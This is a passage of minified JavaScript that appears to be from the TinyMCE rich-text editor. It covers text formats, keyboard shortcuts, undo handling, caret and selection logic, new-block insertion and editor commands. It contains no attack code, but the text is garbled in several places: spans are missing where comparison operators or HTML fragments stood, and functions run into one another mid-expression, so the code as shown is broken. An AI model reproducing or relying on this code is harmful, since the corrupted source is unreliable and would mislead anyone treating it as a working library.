2px;"),o+=e+":"+t+";"}}),n.fire("AfterPreviewFormats"),dy.remove(f),o}function Jv(c){var e,r,t,n,o,i,a=(n={},(o=function(e,t){e&&(X(e)?(Y(t=!S(t)?[t]:t,function(e){b(e.deep)&&(e.deep=!fl(e)),b(e.split)&&(e.split=!fl(e)||dl(e)),b(e.remove)&&fl(e)&&!dl(e)&&(e.remove="none"),fl(e)&&dl(e)&&(e.mixed=!0,e.block_expand=!0),X(e.classes)&&(e.classes=e.classes.split(/\s+/))}),n[e]=t):ne(e,function(e,t){o(t,e)}))})((r=(e=c).dom,t={valigntop:[{selector:"td,th",styles:{verticalAlign:"top"}}],valignmiddle:[{selector:"td,th",styles:{verticalAlign:"middle"}}],valignbottom:[{selector:"td,th",styles:{verticalAlign:"bottom"}}],alignleft:[{selector:"figure.image",collapsed:!1,classes:"align-left",ceFalseOverride:!0,preview:"font-family font-size"},{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"left"},inherit:!1,preview:!1,defaultBlock:"div"},{selector:"img,table,audio,video",collapsed:!1,styles:{float:"left"},preview:"font-family font-size"}],aligncenter:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"center"},inherit:!1,preview:"font-family font-size",defaultBlock:"div"},{selector:"figure.image",collapsed:!1,classes:"align-center",ceFalseOverride:!0,preview:"font-family font-size"},{selector:"img,audio,video",collapsed:!1,styles:{display:"block",marginLeft:"auto",marginRight:"auto"},preview:!1},{selector:"table",collapsed:!1,styles:{marginLeft:"auto",marginRight:"auto"},preview:"font-family font-size"}],alignright:[{selector:"figure.image",collapsed:!1,classes:"align-right",ceFalseOverride:!0,preview:"font-family font-size"},{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"right"},inherit:!1,preview:"font-family font-size",defaultBlock:"div"},{selector:"img,table,audio,video",collapsed:!1,styles:{float:"right"},preview:"font-family font-size"}],alignjustify:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"justify"},inherit:!1,defaultBlock:"div",preview:"font-family font-size"}],bold:[{inline:"strong",remove:"all",preserve_attributes:["class","style"]},{inline:"span",styles:{fontWeight:"bold"}},{inline:"b",remove:"all",preserve_attributes:["class","style"]}],italic:[{inline:"em",remove:"all",preserve_attributes:["class","style"]},{inline:"span",styles:{fontStyle:"italic"}},{inline:"i",remove:"all",preserve_attributes:["class","style"]}],underline:[{inline:"span",styles:{textDecoration:"underline"},exact:!0},{inline:"u",remove:"all",preserve_attributes:["class","style"]}],strikethrough:[{inline:"span",styles:{textDecoration:"line-through"},exact:!0},{inline:"strike",remove:"all",preserve_attributes:["class","style"]},{inline:"s",remove:"all",preserve_attributes:["class","style"]}],forecolor:{inline:"span",styles:{color:"%value"},links:!0,remove_similar:!0,clear_child_styles:!0},hilitecolor:{inline:"span",styles:{backgroundColor:"%value"},links:!0,remove_similar:!0,clear_child_styles:!0},fontname:{inline:"span",toggle:!1,styles:{fontFamily:"%value"},clear_child_styles:!0},fontsize:{inline:"span",toggle:!1,styles:{fontSize:"%value"},clear_child_styles:!0},lineheight:{selector:"h1,h2,h3,h4,h5,h6,p,li,td,th,div",defaultBlock:"p",styles:{lineHeight:"%value"}},fontsize_class:{inline:"span",attributes:{class:"%value"}},blockquote:{block:"blockquote",wrapper:!0,remove:"all"},subscript:{inline:"sub"},superscript:{inline:"sup"},code:{inline:"code"},link:{inline:"a",selector:"a",remove:"all",split:!0,deep:!0,onmatch:function(e,t,n){return zn(e)&&e.hasAttribute("href")},onformat:function(n,e,t){Et.each(t,function(e,t){r.setAttrib(n,t,e)})}},lang:{inline:"span",clear_child_styles:!0,remove_similar:!0,attributes:{lang:"%value","data-mce-lang":function(e){var t;return null!==(t=null==e?void 0:e.customValue)&&void 0!==t?t:null}}},removeformat:[{selector:"b,strong,em,i,font,u,strike,s,sub,sup,dfn,code,samp,kbd,var,cite,mark,q,del,ins,small",remove:"all",split:!0,expand:!1,block_expand:!0,deep:!0},{selector:"span",attributes:["style","class"],remove:"empty",split:!0,expand:!1,deep:!0},{selector:"*",attributes:["style","class"],split:!1,expand:!1,deep:!0}]},Et.each("p h1 h2 h3 h4 h5 h6 div address pre dt dd samp".split(/\s/),function(e){t[e]={block:e,remove:"all"}}),t)),o(e.getParam("formats")),{get:function(e){return V(e)?n[e]:n},has:function(e){return Ne(n,e)},register:o,unregister:function(e){return e&&n[e]&&delete n[e],n}}),l=ru(null);return function(e){e.addShortcut("meta+b","","Bold"),e.addShortcut("meta+i","","Italic"),e.addShortcut("meta+u","","Underline");for(var t=1;t<=6;t++)e.addShortcut("access+"+t,"",["FormatBlock",!1,"h"+t]);e.addShortcut("access+7","",["FormatBlock",!1,"p"]),e.addShortcut("access+8","",["FormatBlock",!1,"div"]),e.addShortcut("access+9","",["FormatBlock",!1,"address"])}(c),(i=c).on("mouseup keydown",function(e){var t=i,n=e.keyCode,r=t.selection,o=t.getBody();Fg(t,null,!1),8!==n&&46!==n||!r.isCollapsed()||r.getStart().innerHTML!==vp||Fg(t,Hc(o,r.getStart())),37!==n&&39!==n||Fg(t,Hc(o,r.getStart()))}),{get:a.get,has:a.has,register:a.register,unregister:a.unregister,apply:function(e,t,n){var r=e,o=t,i=n;hh(c).formatter.apply(r,o,i)},remove:function(e,t,n,r){var o=e,i=t,a=n,u=r;hh(c).formatter.remove(o,i,a,u)},toggle:function(e,t,n){var r=e,o=t,i=n;hh(c).formatter.toggle(r,o,i)},match:function(e,t,n,r){return o=e,i=t,a=n,u=r,hh(c).formatter.match(o,i,a,u);var o,i,a,u},closest:function(e){return t=e,hh(c).formatter.closest(t);var t},matchAll:function(e,t){return n=e,r=t,hh(c).formatter.matchAll(n,r);var n,r},matchNode:function(e,t,n,r){return o=e,i=t,a=n,u=r,hh(c).formatter.matchNode(o,i,a,u);var o,i,a,u},canApply:function(e){return t=e,hh(c).formatter.canApply(t);var t},formatChanged:function(e,t,n,r){return o=l,i=e,a=t,u=n,s=r,hh(c).formatter.formatChanged(o,i,a,u,s);var o,i,a,u,s},getCssText:A(Gv,c)}}function Qv(e){switch(e.toLowerCase()){case"undo":case"redo":case"mcerepaint":case"mcefocus":return 1;default:return}}function Zv(s){var e,n,r,o,i,c=cu(),l=ru(0),f=ru(0),d={data:[],typing:!1,beforeChange:function(){var e=l,t=c;hh(s).undoManager.beforeChange(e,t)},add:function(e,t){return n=d,r=f,o=l,i=c,a=e,u=t,hh(s).undoManager.add(n,r,o,i,a,u);var n,r,o,i,a,u},undo:function(){return e=d,t=l,n=f,hh(s).undoManager.undo(e,t,n);var e,t,n},redo:function(){return e=f,t=d.data,hh(s).undoManager.redo(e,t);var e,t},clear:function(){var e=d,t=f;hh(s).undoManager.clear(e,t)},reset:function(){var e=d;hh(s).undoManager.reset(e)},hasUndo:function(){return e=d,t=f,hh(s).undoManager.hasUndo(e,t);var e,t},hasRedo:function(){return e=d,t=f,hh(s).undoManager.hasRedo(e,t);var e,t},transact:function(e){return t=d,n=l,r=e,hh(s).undoManager.transact(t,n,r);var t,n,r},ignore:function(e){var t=l,n=e;hh(s).undoManager.ignore(t,n)},extra:function(e,t){var n=d,r=f,o=e,i=t;hh(s).undoManager.extra(n,r,o,i)}};return mh(s)||(r=d,o=l,i=ru(!1),(n=s).on("init",function(){r.add()}),n.on("BeforeExecCommand",function(e){Qv(e.command)||(fh(r,o),r.beforeChange())}),n.on("ExecCommand",function(e){Qv(e.command)||a(e)}),n.on("ObjectResizeStart cut",function(){r.beforeChange()}),n.on("SaveContent ObjectResized blur",a),n.on("dragend",a),n.on("keyup",function(e){var t=e.keyCode;e.isDefaultPrevented()||((33<=t&&t<=36||37<=t&&t<=40||45===t||e.ctrlKey)&&(a(),n.nodeChanged()),46!==t&&8!==t||n.nodeChanged(),i.get()&&r.typing&&!1===sh(oh(n),r.data[0])&&(!1===n.isDirty()&&(n.setDirty(!0),n.fire("change",{level:r.data[0],lastLevel:null})),n.fire("TypingUndo"),i.set(!1),n.nodeChanged()))}),n.on("keydown",function(e){var t,n=e.keyCode;e.isDefaultPrevented()||(33<=n&&n<=36||37<=n&&n<=40||45===n?r.typing&&a(e):(t=e.ctrlKey&&!e.altKey||e.metaKey,!(n<16||20t}}function jy(t){return function(e){return e.line===t}}function Vy(e,t){return Math.abs(e.left-t)}function qy(e,t){return Math.abs(e.right-t)}function $y(e,t){return e>=t.left&&e<=t.right}function Wy(e,t){return e>=t.top&&e<=t.bottom}function Ky(e,o,i){return void 0===i&&(i=w),me(e,function(e,t){if($y(o,t))return i(t)?t:e;if($y(o,e))return i(e)?e:t;var n=Math.min(Vy(e,o),qy(e,o)),r=Math.min(Vy(t,o),qy(t,o));return r===n&&se(t,"node")&&MC(t.node)||r'),o=i,1===t?e.$(r).after(o):e.$(r).before(o),e.selection.select(o,!0),e.selection.collapse()))}function R0(t,e){return n=t,r=e?ic.Forwards:ic.Backwards,o=n.selection.getRng(),Qy(n,r,o,ep,tp,VC).orThunk(function(){return A0(n,r,o),ve.none()}).exists(function(e){return Gy(t,e),!0});var n,r,o}function D0(t,e){return r=e?1:-1,o=(n=t).selection.getRng(),Zy(n,r,o,function(e){return ep(e)||Qg(e)},function(e){return tp(e)||Zg(e)},VC).orThunk(function(){return A0(n,r,o),ve.none()}).exists(function(e){return Gy(t,e),!0});var n,r,o}function T0(e,t){return e0(e,t,t?tp:ep)}function O0(e){return D(["figcaption"],kt(e))}function B0(e){var t=document.createRange();return t.setStartBefore(e.dom),t.setEndBefore(e.dom),t}function P0(e,t,n){(n?Pn:Wt)(e,t)}function L0(h,v){var b=Nt.fromDom(h.getBody()),y=as.fromRangeStart(h.selection.getRng()),C=Ss(h),x=Es(h),e=y,t=A(je,b);return pr(Nt.fromDom(e.container()),lo,t).filter(O0).exists(function(){if(d=b,m=y,v?(p=d.dom,My(p,m).breakAt.isNone()):(g=d.dom,Iy(g,m).breakAt.isNone())){var e=(t=b,r=x,o=v,""===(n=C)?(l=o,P0(t,f=Nt.fromTag("br"),l),B0(f)):(i=t,a=o,u=r,s=Nt.fromTag(n),c=Nt.fromTag("br"),hn(s,u),Pn(s,c),P0(i,s,a),B0(c)));return h.selection.setRng(e),!0}var t,n,r,o,i,a,u,s,c,l,f,d,m,g,p;return!1})}function I0(e,t){return!!e.selection.isCollapsed()&&L0(e,t)}function M0(e){for(var t=[],n=1;nm.childNodes.length-1,m=m.childNodes[Math.min(g,m.childNodes.length-1)]||m,g=s&&jn(m)?m.nodeValue.length:0);var b,y,C,x,w,S,p,E,N,k,_,A,R,D,T,O,B,P,L,I,M,F=aC(c,m);F&&((p&&!h||!p&&h)&&(m=function(e,t,n,r){var o,i,a,u,s,c,l=p||"P",f=e.dom,d=aC(f,n),m=f.getParent(n,f.isBlock);if(!m||!oC(f,m)){if(s=((m=m||d)===e.getBody()||(c=m)&&/^(TD|TH|CAPTION)$/.test(c.nodeName)?m:m.parentNode).nodeName.toLowerCase(),!m.hasChildNodes())return uC(e,o=f.create(l)),m.appendChild(o),t.setStart(o,0),t.setEnd(o,0),o;for(a=n;a.parentNode!==m;)a=a.parentNode;for(;a&&!f.isBlock(a);)a=(i=a).previousSibling;if(i&&e.schema.isValidChild(s,l.toLowerCase())){for(uC(e,o=f.create(l)),i.parentNode.insertBefore(o,i),a=i;a&&!f.isBlock(a);)u=a.nextSibling,o.appendChild(a),a=u;t.setStart(n,r),t.setEnd(n,r)}}return n}(a,d,m,g)),y=(b=c.getParent(m,c.isBlock))?c.getParent(b.parentNode,c.isBlock):null,C=b?b.nodeName.toUpperCase():"","LI"!==(x=y?y.nodeName.toUpperCase():"")||v||(y=(b=y).parentNode,C=x),/^(LI|DT|DD)$/.test(C)&&c.isEmpty(b)?(N=t,k=y,_=b,A=p,I=(E=a).dom,M=E.selection.getRng(),k!==E.getBody()&&(D=(A=Z0(R=k)&&Z0(R.parentNode)?"LI":A)?N(A):I.create("BR"),tC(k,_,!0)&&tC(k,_,!1)?Q0(k,"LI")?(T=eC(k),I.insertAfter(D,T),(null===(L=(P=k).parentNode)||void 0===L?void 0:L.firstChild)===P?I.remove(T):I.remove(k)):I.replace(D,k):(tC(k,_,!0)?Q0(k,"LI")?(I.insertAfter(D,eC(k)),D.appendChild(I.doc.createTextNode(" ")),D.appendChild(k)):k.parentNode.insertBefore(D,k):tC(k,_,!1)?I.insertAfter(D,eC(k)):(k=eC(k),(O=M.cloneRange()).setStartAfter(_),O.setEndAfter(k),B=O.extractContents(),"LI"===A&&(B.firstChild&&"LI"===B.firstChild.nodeName)?(D=B.firstChild,I.insertAfter(B,k)):(I.insertAfter(B,k),I.insertAfter(D,k))),I.remove(_)),G0(E,D))):p&&b===a.getBody()||(p=p||"P",Pr(b)?(u=zr(b),c.isEmpty(b)&&nC(b),uC(a,u),G0(a,u)):n()?r():n(!0)?(u=b.parentNode.insertBefore(t(),b),G0(a,rC(b,"HR")?u:b)):((S=(w=d).cloneRange()).setStart(w.startContainer,iC(!0,w.startContainer,w.startOffset)),S.setEnd(w.endContainer,iC(!1,w.endContainer,w.endOffset)),(o=S.cloneRange()).setEndAfter(b),i=o.extractContents(),Y(Hu(Nt.fromDom(i),_n),function(e){var t=e.dom;t.nodeValue=wo(t.nodeValue)}),function(e){for(;jn(e)&&(e.nodeValue=e.nodeValue.replace(/^[\r\n]+/,"")),e=e.firstChild;);}(i),u=i.firstChild,c.insertAfter(i,b),function(e,t){var n,r,o=u,i=[];if(o){for(;o=o.firstChild;){if(e.isBlock(o))return;zn(o)&&!t[o.nodeName.toLowerCase()]&&i.push(o)}for(n=i.length;n--;)!(o=i[n]).hasChildNodes()||o.firstChild===o.lastChild&&""===o.firstChild.nodeValue?e.remove(o):(r=o)&&"A"===r.nodeName&&e.isEmpty(r)&&e.remove(o)}}(c,f),function(e,t){t.normalize();var n=t.lastChild;n&&!/^(left|right)$/gi.test(e.getStyle(n,"float",!0))||e.add(t,"br")}(c,b),c.isEmpty(b)&&nC(b),u.normalize(),c.isEmpty(u)?(c.remove(u),r()):(uC(a,u),G0(a,u))),c.setAttrib(u,"id",""),a.fire("NewBlock",{newBlock:u})))}function cC(e,t,n){var r=e.dom.createRng();n?(r.setStartBefore(t),r.setEndBefore(t)):(r.setStartAfter(t),r.setEndAfter(t)),e.selection.setRng(r),Zf(e,r)}function lC(e,t){var n=Nt.fromTag("br");qt(Nt.fromDom(t),n),e.undoManager.add()}function fC(e,t){XC(e.getBody(),t)||$t(Nt.fromDom(t),Nt.fromTag("br"));var n=Nt.fromTag("br");$t(Nt.fromDom(t),n),cC(e,n.dom,!1),e.undoManager.add()}function dC(e){return e&&"A"===e.nodeName&&"href"in e}function mC(e){return e.fold(R,dC,dC,R)}function gC(e,t){t.fold(te,A(lC,e),A(fC,e),te)}function pC(e,t){var n,r,o,i=(r=A(nb,n=e),o=as.fromRangeStart(n.selection.getRng()),Qb(r,n.getBody(),o).filter(mC));i.isSome()?i.each(A(gC,e)):function(e,t){var n,r,o=e.selection,i=e.dom,a=o.getRng();Rf(i,a).each(function(e){a.setStart(e.startContainer,e.startOffset),a.setEnd(e.endContainer,e.endOffset)});var u,s=a.startOffset,c=a.startContainer;1===c.nodeType&&c.hasChildNodes()&&(u=s>c.childNodes.length-1,c=c.childNodes[Math.min(s,c.childNodes.length-1)]||c,s=u&&3===c.nodeType?c.nodeValue.length:0);var l=i.getParent(c,i.isBlock),f=l?i.getParent(l.parentNode,i.isBlock):null,d=f?f.nodeName.toUpperCase():"",m=!(!t||!t.ctrlKey);"LI"!==d||m||(l=f),c&&3===c.nodeType&&s>=c.nodeValue.length&&!function(e){for(var t,n=new Rr(c,l),r=e.getNonEmptyElements();t=n.next();)if(r[t.nodeName.toLowerCase()]||0t}),WC=A(V0,Iy),KC=A(V0,My),XC=function(e,t){return n=as.after(t),!!Wn(n.getNode())||Ql(e,as.after(t)).map(function(e){return Wn(e.getNode())}).getOr(!1);var n},YC=or([{br:[]},{block:[]},{none:[]}]),GC=dt().browser,JC=dt(),QC=A(TC,yo),ZC=A(TC," "),e1=(t1.prototype.nodeChanged=function(e){var t,n,r,o=this.editor.selection;this.editor.initialized&&o&&!this.editor.getParam("disable_nodechange")&&!this.editor.mode.isReadOnly()&&(r=this.editor.getBody(),(t=o.getStart(!0)||r).ownerDocument===this.editor.getDoc()&&this.editor.dom.isChildOf(t,r)||(t=r),n=[],this.editor.dom.getParent(t,function(e){return e===r||void n.push(e)}),(e=e||{}).element=t,e.parents=n,this.editor.fire("NodeChange",e))},t1.prototype.isSameElementPath=function(e){var t,n=this.editor.$(e).parentsUntil(this.editor.getBody()).add(e);if(n.length===this.lastPath.length){for(t=n.length;0<=t&&n[t]===this.lastPath[t];t--);if(-1===t)return this.lastPath=n,!0}return this.lastPath=n,!1},t1);function t1(r){var o;this.lastPath=[],this.editor=r;var t=this;"onselectionchange"in r.getDoc()||r.on("NodeChange click mouseup keyup focus",function(e){var t=r.selection.getRng(),n={startContainer:t.startContainer,startOffset:t.startOffset,endContainer:t.endContainer,endOffset:t.endOffset};"nodechange"!==e.type&&Sf(n,o)||r.fire("SelectionChange"),o=n}),r.on("contextmenu",function(){r.fire("SelectionChange")}),r.on("SelectionChange",function(){var e=r.selection.getStart(!0);!e||!xt.range&&r.selection.isCollapsed()||Tl(r)&&!t.isSameElementPath(e)&&r.dom.isChildOf(e,r.getBody())&&r.nodeChanged({selectionChange:!0})}),r.on("mouseup",function(e){!e.isDefaultPrevented()&&Tl(r)&&("IMG"===r.selection.getNode().nodeName?_r.setEditorTimeout(r,function(){r.nodeChanged()}):r.nodeChanged())})}function n1(e){return zn(e)&&fo(Nt.fromDom(e))}function r1(e){var t=e.getBoundingClientRect(),n=e.ownerDocument,r=n.documentElement,o=n.defaultView;return{top:t.top+o.pageYOffset-r.clientTop,left:t.left+o.pageXOffset-r.clientLeft}}function o1(e){e&&e.parentNode&&e.parentNode.removeChild(e)}function i1(e,S){var E=_r.throttle(function(e,t){S._selectionOverrides.hideFakeCaret(),S.selection.placeCaretAt(e,t)},0);return S.on("remove",E.stop),function(w){return e.on(function(e){var t,n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,b,y,C,x=Math.max(Math.abs(w.screenX-e.screenX),Math.abs(w.screenY-e.screenY));if(!e.dragging&&10').attr("id",w)).appendTo(l.getBody());var i=y.createRng();t===n&&xt.ie?(o.empty().append('

    \xa0

    ').append(t),i.setStartAfter(o[0].firstChild.firstChild),i.setEndAfter(t)):(o.empty().append(yo).append(t).append(yo),i.setStart(o[0].firstChild,1),i.setEnd(o[0].lastChild,0)),o.css({top:y.getPos(e,l.getBody()).y}),o[0].focus();var a=b.getSel();return a.removeAllRanges(),a.addRange(i),i}(e,n.targetClone,t),o=Nt.fromDom(e);return Y(hu(Nt.fromDom(l.getBody()),"*[data-mce-selected]"),function(e){je(o,e)||yn(e,S)}),y.getAttrib(e,S)||e.setAttribute(S,"1"),v=e,E(),r}(c)}return null}function h(){v&&v.removeAttribute(S),vr(Nt.fromDom(l.getBody()),"#"+w).each(Ln),v=null}var v,n,e,o,b=l.selection,y=l.dom,C=y.isBlock,x=l.getBody(),i=Vs(l,x,C,function(){return vd(l)}),w="sel-"+y.uniqueId(),S="data-mce-selected",r=b.getRng,E=function(){i.hide()};return xt.ceFalse&&!mh(l)&&(l.on("mouseup",function(e){var t=r();t.collapsed&&av(l,e.clientX,e.clientY)&&Sb(l,t,!1).each(d)}),l.on("click",function(e){var t=s1(l,e.target);t&&(P1(t)&&(e.preventDefault(),l.focus()),B1(t)&&y.isChildOf(t,b.getNode())&&h())}),l.on("blur NewBlock",h),l.on("ResizeWindow FullscreenStateChanged",i.reposition),l.on("tap",function(e){var t=e.target,n=s1(l,t);P1(n)?(e.preventDefault(),wb(l,n).each(p)):f(t)&&wb(l,t).each(p)},!0),l.on("mousedown",function(e){var t,n,r,o,i,a,u,s=e.target;s!==x&&"HTML"!==s.nodeName&&!y.isChildOf(s,x)||!1===av(l,e.clientX,e.clientY)||((t=s1(l,s))?P1(t)?(e.preventDefault(),wb(l,t).each(p)):(h(),B1(t)&&e.shiftKey||hf(e.clientX,e.clientY,b.getRng())||(E(),b.placeCaretAt(e.clientX,e.clientY))):f(s)?wb(l,s).each(p):!1===$s(s)&&(h(),E(),(n=Yy(x,e.clientX,e.clientY))&&(r=s,o=n.node,a=y.getParent(r,C),u=y.getParent(o,C),!K(a)&&(r!==u&&y.isChildOf(a,u)&&!1===P1(s1(l,a))||!y.isChildOf(u,a)&&(i=u,y.getParent(a,C)!==y.getParent(i,C))&&function(e){var t=e.firstChild;if(!K(t)){var n=as.before(t);if(Wn(n.getNode())&&1===e.childNodes.length)return!c(n);var r=Pc(e).next(n);return r&&!c(r)}}(a))||(e.preventDefault(),d(m(1,n.node,n.before,!1)),l.getBody().focus()))))}),l.on("keypress",function(e){Bf.modifierPressed(e)||P1(b.getNode())&&e.preventDefault()}),l.on("GetSelectionRange",function(e){var t=e.range;v&&(v.parentNode?((t=t.cloneRange()).selectNode(v),e.range=t):v=null)}),l.on("SetSelectionRange",function(e){var t,n,r,o,i,a,u;e.range=(t=e.range,n=l.schema.getShortEndedElements(),r=y.createRng(),o=t.startContainer,i=t.startOffset,a=t.endContainer,u=t.endOffset,Ne(n,o.nodeName.toLowerCase())?0===i?r.setStartBefore(o):r.setStartAfter(o):r.setStart(o,i),Ne(n,a.nodeName.toLowerCase())?0===u?r.setEndBefore(a):r.setEndAfter(a):r.setEnd(a,u),r);var s=p(e.range,e.forward);s&&(e.range=s)}),l.on("AfterSetSelectionRange",function(e){var t=e.range,n=t.startContainer.parentNode;g(t)||"mcepastebin"===n.id||E(),y.hasClass(n,"mce-offscreen-selection")||h()}),l.on("copy",function(e){var t,n,r=e.clipboardData;e.isDefaultPrevented()||!e.clipboardData||xt.ie||(t=(n=y.get(w))&&n.getElementsByTagName("*")[0])&&(e.preventDefault(),r.clearData(),r.setData("text/html",t.outerHTML),r.setData("text/plain",t.outerText||t.innerText))}),u1(l),e=lu(function(){var e,t;n.removed||!n.getBody().contains(document.activeElement)||(e=n.selection.getRng()).collapsed&&(t=Eb(n,e,!1),n.selection.setRng(t))},0),(n=l).on("focus",function(){e.throttle()}),n.on("blur",function(){e.cancel()}),(o=l).on("init",function(){o.on("focusin",function(e){var t,n,r=e.target;Jn(r)&&(t=pf(o.getBody(),r),n=Yn(t)?t:r,o.selection.getNode()!==n&&wb(o,n).each(function(e){return o.selection.setRng(e)}))})})),{showCaret:m,showBlockCaretContainer:function(e){e.hasAttribute("data-mce-caret")&&(zr(e),d(r()),b.scrollIntoView(e))},hideFakeCaret:E,destroy:function(){i.destroy(),v=null}}}function l1(a){function e(e,t){try{a.getDoc().execCommand(e,!1,t)}catch(e){}}function u(e){return e.isDefaultPrevented()}function t(){a.shortcuts.add("meta+a",null,"SelectAll")}function n(){a.inline||b.bind(a.getDoc(),"mousedown mouseup",function(e){var t;e.target===a.getDoc().documentElement&&(t=y.getRng(),a.getBody().focus(),"mousedown"===e.type?Ir(t.startContainer)||y.placeCaretAt(e.clientX,e.clientY):y.setRng(t))})}function r(){Range.prototype.getClientRects||a.on("mousedown",function(e){var t;u(e)||"HTML"!==e.target.nodeName||((t=a.getBody()).blur(),_r.setEditorTimeout(a,function(){t.focus()}))})}function o(){a.on("click",function(e){var t=e.target;/^(IMG|HR)$/.test(t.nodeName)&&"false"!==b.getContentEditableParent(t)&&(e.preventDefault(),a.selection.select(t),a.nodeChanged()),"A"===t.nodeName&&b.hasClass(t,"mce-item-anchor")&&(e.preventDefault(),y.select(t))})}function i(){a.on("keydown",function(e){if(!u(e)&&e.keyCode===h&&y.isCollapsed()&&0===y.getRng().startOffset){var t=y.getNode().previousSibling;if(t&&t.nodeName&&"table"===t.nodeName.toLowerCase())return e.preventDefault(),!1}})}function s(){a.getParam("readonly")||a.on("BeforeExecCommand mousedown",function(){e("StyleWithCSS",!1),e("enableInlineTableEditing",!1),Ts(a)||e("enableObjectResizing",!1)})}function c(){a.contentStyles.push("img:-moz-broken {-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}")}function l(){a.inline||a.on("keydown",function(){document.activeElement===document.body&&a.getWin().focus()})}function f(){a.inline||(a.contentStyles.push("body {min-height: 150px}"),a.on("click",function(e){var t;"HTML"===e.target.nodeName&&(11")+"";e.getParam("document_base_url","")!==e.documentBaseUrl&&(t+=''),t+='';var n=xs(e,"body_id","tinymce"),r=xs(e,"body_class",""),o=e.translate(e.getParam("iframe_aria_text","Rich Text Area. Press ALT-0 for help.","string"));return ws(e)&&(t+=''),t+('
    '}(e),I1.add(t.iframeContainer,u),s}function y1(e){return e.replace(/^\-/,"")}function C1(e){return{editorContainer:e,iframeContainer:e,api:{}}}function x1(e){var t,n,r,o,i,a,u,s=e.getElement();return e.orgDisplay=s.style.display,X(Bs(e))?e.theme.renderUI():y(Bs(e))?(n=(t=e).getElement(),(r=Bs(t)(t,n)).editorContainer.nodeType&&(r.editorContainer.id=r.editorContainer.id||t.id+"_parent"),r.iframeContainer&&r.iframeContainer.nodeType&&(r.iframeContainer.id=r.iframeContainer.id||t.id+"_iframecontainer"),r.height=r.iframeHeight||n.offsetHeight,r):(u=(o=e).getElement(),o.inline?C1(null):(i=u,a=M1.create("div"),M1.insertAfter(a,i),C1(a)))}function w1(e){var n,t,r,o,i,a,u,s;e.fire("ScriptsLoaded"),n=e,t=Et.trim(ks(n)),r=n.ui.registry.getAll().icons,ne(_e(_e({},_v.get("default").icons),_v.get(t).icons),function(e,t){Ne(r,t)||n.ui.registry.addIcon(t,e)}),a=Bs(o=e),X(a)?(o.settings.theme=y1(a),i=Bv.get(a),o.theme=new i(o,Bv.urls[a]),o.theme.init&&o.theme.init(o,Bv.urls[a]||o.documentBaseUrl.replace(/\/$/,""),o.$)):o.theme={},s=[],Et.each(Ls(u=e).split(/[ ,]/),function(e){F1(u,s,y1(e))});var c=x1(e),l=e,f=ve.from(c.api).getOr({}),d={show:ve.from(f.show).getOr(te),hide:ve.from(f.hide).getOr(te),disable:ve.from(f.disable).getOr(te),isDisabled:ve.from(f.isDisabled).getOr(R),enable:function(){l.mode.isReadOnly()||ve.from(f.enable).map(x)}};l.ui=_e(_e({},l.ui),d);var m,g,p,h={editorContainer:c.editorContainer,iframeContainer:c.iframeContainer};return e.editorContainer=h.editorContainer||null,zv(e),e.inline?v1(e):(p=b1(m=e,g=h),g.editorContainer&&(I1.get(g.editorContainer).style.display=m.orgDisplay,m.hidden=I1.isHidden(g.editorContainer)),m.getElement().style.display="none",I1.setAttrib(m.id,"aria-hidden","true"),void(p||v1(m)))}function S1(e){return"-"===e.charAt(0)}function E1(t,e,n){return ve.from(e).filter(function(e){return 0")},mceToggleVisualAid:function(){u.hasVisual=!u.hasVisual,u.addVisual()},mceReplaceContent:function(e,t,n){u.execCommand("mceInsertContent",!1,n.replace(/\{\$selection\}/g,u.selection.getContent({format:"text"})))},mceInsertLink:function(e,t,n){"string"==typeof n&&(n={href:n});var r=u.dom.getParent(u.selection.getNode(),"a");n.href=n.href.replace(/ /g,"%20"),r&&n.href||u.formatter.remove("link"),n.href&&u.formatter.apply("link",n,r)},selectAll:function(){var e,t=u.dom.getParent(u.selection.getStart(),Xn);t&&((e=u.dom.createRng()).selectNodeContents(t),u.selection.setRng(e))},mceNewDocument:function(){u.setContent("")},InsertLineBreak:function(e,t,n){return pC(u,n),!0}}),o.addCommands({JustifyLeft:e("alignleft"),JustifyCenter:e("aligncenter"),JustifyRight:e("alignright"),JustifyFull:e("alignjustify"),"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(e){return o.isFormatMatch(e)},mceBlockQuote:function(){return o.isFormatMatch("blockquote")},Outdent:function(){return b0(u)},"InsertUnorderedList,InsertOrderedList":function(e){var t=u.dom.getParent(u.selection.getNode(),"ul,ol");return t&&("insertunorderedlist"===e&&"UL"===t.tagName||"insertorderedlist"===e&&"OL"===t.tagName)}},"state"),o.addCommands({Undo:function(){u.undoManager.undo()},Redo:function(){u.undoManager.redo()}}),o.addQueryValueHandler("FontName",function(){return A1(t=u,function(e){return j1(t.getBody(),e.dom)}).getOr("");var t},this),o.addQueryValueHandler("FontSize",function(){return A1(t=u,function(e){return H1(t.getBody(),e.dom)}).getOr("");var t},this),o.addQueryValueHandler("LineHeight",function(){return A1(t=u,function(n){var e=Nt.fromDom(t.getBody());return Ag(n,function(e){return wn(e,"line-height")},A(je,e)).getOrThunk(function(){var e=parseFloat(xn(n,"line-height")),t=parseFloat(xn(n,"font-size"));return String(e/t)})}).getOr("");var t},this)},K1);function K1(e){this.commands={state:{},exec:{},value:{}},this.editor=e,this.setupCommands(e)}function X1(e,t,n){var r,o,i,a,u,s;pu(e,t)&&!1===n?(o=t,mu(r=e)?r.dom.classList.remove(o):(u=o,0<(s=U(du(a=r,"class"),function(e){return e!==u})).length?pn(a,"class",s.join(" ")):yn(a,"class")),0===(mu(i=r)?i.dom.classList:du(i,"class")).length&&yn(i,"class")):n&&gu(e,t)}function Y1(e,t,n){try{e.getDoc().execCommand(t,!1,String(n))}catch(e){}}function G1(e,t){e.dom.contentEditable=t?"true":"false"}function J1(e,t){var 